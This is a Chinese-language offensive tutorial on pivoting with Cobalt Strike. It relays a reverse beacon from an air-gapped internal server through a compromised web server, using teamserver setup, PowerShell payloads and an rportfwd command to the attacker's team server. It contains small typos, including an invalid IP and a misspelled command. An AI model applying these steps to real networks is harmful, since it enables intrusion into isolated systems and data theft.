基于Cobalt Strike对内网中断网目标通过beacon中继弹回beacon

基于Cobalt Strike对内网中断网目标通过beacon中继弹回beacon

1.概述
在内网渗透中,常常会遇见目标情报被存放于内网深处的情况,其服务器处于断网状态,仅能从内网访问。这就造成了该机器无法从外部找到突破点进入服务器获取所需要的情报数据。而在我们之前的文章中提到过利用Metaspolit进行多层内网穿透获取目标服务器权限的方式(传送门)。而本文主要从内网断网机的角度进行讲解,如何通过beacon中继的方式将断网机的beacon反弹回来。
2.背景
目标服务器DB(192.1688.1.6)处于内网中,并已做断网处理,与外界互联网无任何通信。其目标服务器仅能从内部网络进行访问。而在其同一内网中,团队发现了一web服务器(192.168.1.7)与外部互联网可通信,其公网IP为59.111.104.190。现在团队某成员已获取web服务器权限,我们需要通过该服务器作为中继beacon,将内网目标服务器DB的beacon转发反弹出来。

3.环境
Cobalt Strike团队服务器(59.111.93.64)
Cobalt Strike攻击机(192.168.253.100)
Web服务器(公网59.111.104.190,内网192.168.1.7)IIS7
IIS8目标断网主机(192.168.1.6)
4.案例
a)在团队服务器上将Cobalt Strike服务运行起来,方便团队成员通过client端去连接,从而进行协同渗透。注:当我们把Cobalt Strike下载下来以后,团队服务器上仅需cobaltstrike.jar和teamserver两个文件。同时注意teamserver的权限。
需要用到的命令:
./teamserver 59.111.93.64 1234567
#该处IP为团队服务器IP,后面的数字为连接是需要用到的密码。

b)将自己的客户端与团队服务器连接。注:用户名随意,密码为之前团队服务器运行时填入的密码。

c)创建beacon监听器。注:这里用的是https的reverse beacon

d)使用创建的监听器生成payload,并在目标内网中的web服务器(59.111.104.190)上运行。

这里使用的是powershell command的payload。

在web服务器上运行后即可获取如下图的会话了。

e)至此,我们仅仅是进入了目标内网,离我们的目标数据仍有距离。通过之前获取到的web服务器会话,我们在就可以对其内网进行进一步的内网信息收集了。但因本文主要体现中继的beacon,因此就不在内网信息收集进行多余的赘述了。
新建一个监听器rport-beacon,然后使用该监听器生成新的payload。注:这里的host需要填入之前的web服务器的内网IP(192.168.1.7),port填入4443。同样payload使用的是powershell command。

f)当我们一切准备就绪的时候,还需要在之前的web服务器上进行端口转发,将外部通过4443端口进入的流量转发到teamserver上去。利用beacon内置的rportfwd转发功能,达到将断网机DB服务器的beacon中继转发到teamserver上的目的。而到这一步就是本文的核心重点。
需要用到的命令:
beacon>sleep 0
beacon>help rportfwd #查看rpotfwd格式的用法
beacon>rpotfwd 4443 59.111.93.64 443 #把来自外部的4443端口流量转发到59.111.93.64的443端口上
beacon>shell netstat -ano | findstr “4443”

g)最后将rportfwd的payload在断网机上执行,即可获得如下图所示断网机的beacon。

5.总结
通过以上案例,从断网机上获取beacon实质上是非常简单的。即通过web服务器作为中继,使用beacon反弹的方式,将断网机的beacon反弹到web服务器,再通过web服务器转发反弹到团队服务器。其路径大致为:断网机>web服务器>团队服务器>攻击机。在实战中,我们会遇到多种多样的问题,但总体的思路不变,无论在内网中有多少台断网机,无论其在对深层的内网中,都可通过中继的形式将其会话反弹出来。